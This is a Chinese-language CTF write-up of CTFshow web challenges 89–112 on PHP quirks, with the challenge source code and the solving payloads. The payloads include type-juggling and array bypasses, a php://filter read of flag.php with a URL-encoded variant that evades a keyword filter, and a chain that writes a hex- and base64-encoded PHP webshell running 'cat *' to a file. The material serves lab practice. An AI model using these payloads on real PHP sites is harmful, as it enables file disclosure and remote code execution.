CTFshow Web题目入门之PHP特性上
[TOC]
Web89
代码语言:javascript复制if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
这里考察的是 preg_match — 执行匹配正则表达式
这个表达式的匹配。我们可以参考官方文档
**preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索。
由于参与匹配的是字符串内容,我们可以构造非字符串也就是数组内容?num[]=1;
Web90
这道题目是intval( )函数的使用,还是看下这个函数的官方文档吧:
代码语言:javascript复制intval ( mixed var [, int base = 10 ] ) : int#Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制:#如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,#如果字符串以 “0” 开始,使用 8 进制(octal);否则,#将使用 10 进制 (decimal)。
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
可以使用的方式很多,4476.0,** 4476.0,4476e0,0x117c,010574**这些方式都可以绕过===
Web91
代码语言:javascript复制show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
- 正则表达式,
i
不区分大小写m
多行匹配 - 多行匹配中存在php,单行不匹配
?cmd= php
Web92
代码语言:javascript复制include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这个什么都没有过滤,可以用 法,小数,八进制,十六进制都行…….
Web93
这道题过滤了 [a-z]/i ,并且将num===”4476”转化为num==”4476”,这样使用 4476,4476.0都被过滤了,同时过滤了字母,所以包含0x的十六进制也被过滤了,我们可以使用八进制形式的010574进行绕过
Web94
这道题又改回了 $num===”4476” ,这样把小数给放出来了,这样应该是考我们小数.?num=4476.0就能完成。当然用计算的方式也行,比如4476 0
Web95
这一个题目的问题主要产生在 strpos ()这个函数上,可以看到这个函数必须含有0,同时弱类型匹配过滤了运算,下面又进一步过滤了小数点,16进制,还是使用八进制的010574进行操作,对strpos函数的绕过,我们可以使用 空格
或者换行符
### Web96
在linux下面表示当前目录是 ./ 所以payload: u=./flag.php,这一道题应该说是linux系统尝试和PHP特性的结合吧
这里也可以使用php伪协议进行绕过:?file=php://filter/convert.base64-encode/resource=flag.php对得到的内容进行PHP解码就行
Web97
代码语言:javascript复制include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a!=b,同时md5值相同这直接上数组就行…….a[]=1&b[]=2
Web98
代码语言:javascript复制include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
这里是三目运算符和取地址, 根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。中间两行意义不大 , 如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。 思路:存在get参数,那么POST参数赋值给GET(名为GET其实为POST)在POST参数HTTP_FLAG
?a=a post:HTTP_FLAG=flag
web102
代码语言:javascript复制highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
v2,v3以get传参传入,v1必须通过post传参传入。
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。但在php5版本下有漏洞,在数字中间带e会被识别为科学计数法。
代码语言:javascript复制$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
//输出5044383959474e6864434171594473
file_put_contents() 函数把一个字符串写入文件中。
call_user_func() 函数把第一个参数作为回调函数调用,通过这个函数可以将编码为16进制的V2重新变为一句话木马,v3通过伪协议写入1.php文件中内容,v1通过Post传参传入hex2bin
Web103
解题过程payload同web102
Web104
代码语言:javascript复制<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}?>
要求v1的散列与v2的散列相等, sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过
当然因为没有什么过滤什么的,完全可以直接令v1和v2都置为1,也能得到flag。
Web105
代码语言:javascript复制highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){ #get是一个预定义的数组,此处将get中的数据按照键值对取出
if($key==='error'){ #key是传入的参数名称 成立条件 error=random
die("what are you doing?!");
}
$$key=$$value; #此处将传入的传参名(键)和传参值(值)定义为变量,并使传参名(键)的数值等于传参值(值),通俗的说,就是咱们人工加入了一个变量,而且给予赋值
}foreach($_POST as $key => $value){ #post同样是一个预定义的数组,同样按照键值对取出
if($value==='flag'){ #如果传入的值为flag,if判定成立
die("what are you doing?!");
}
$$key=$$value; #同上,人工添加变量
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."n"; #要输出flag需要满足$_POST['flag']==$flag,但是$flag属于未知,我们就可以进行变量覆盖
die($suces);
Web106
代码语言:javascript复制highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
我们这里需要使用数组绕过也可以使用,强碰撞 aaroZmOk与aaK1STfY或aaO8zKZF与aa3OFF9m
Web107
这个真是涨知识了,parse_str()函数这个我真不知道。
代码语言:javascript复制if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
在官方文档中
代码语言:javascript复制parse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
我们传入v3=1 然后v1=flag=c4ca4238a0b923820dcc509a6f75849b 即1的md5值即可
Web108
代码语言:javascript复制<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z] $", $_GET['c'])===FALSE) {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;}
?>
考察点:ereg 正则截断
第一层是ereg()函数, ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
第二层一个弱比较,strrev()函数是反转字符串,intval()函数通过使用指定的进制 base 转换,返回变量 var 的 integer 数值。
我们可以通过a 778完成绕过。首先正则表达式只会匹配 之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877 a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
Web109
这玩意,我怎么说呢,我真不会,这一块也是学了一些新的东西
Exception 异常处理类 http://c.biancheng.net/view/6253.html
Web111
变量覆盖,这里应该考察的就是全局元素
Web112
代码语言:javascript复制<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
过滤了data和base64,但是怎么说呢,过滤了这个偏偏可以想着如何绕过这个过滤……..这种情况大概是非预期解
代码语言:javascript复制/?file=php://filter/convert.%62ase64-encode/resource=flag.php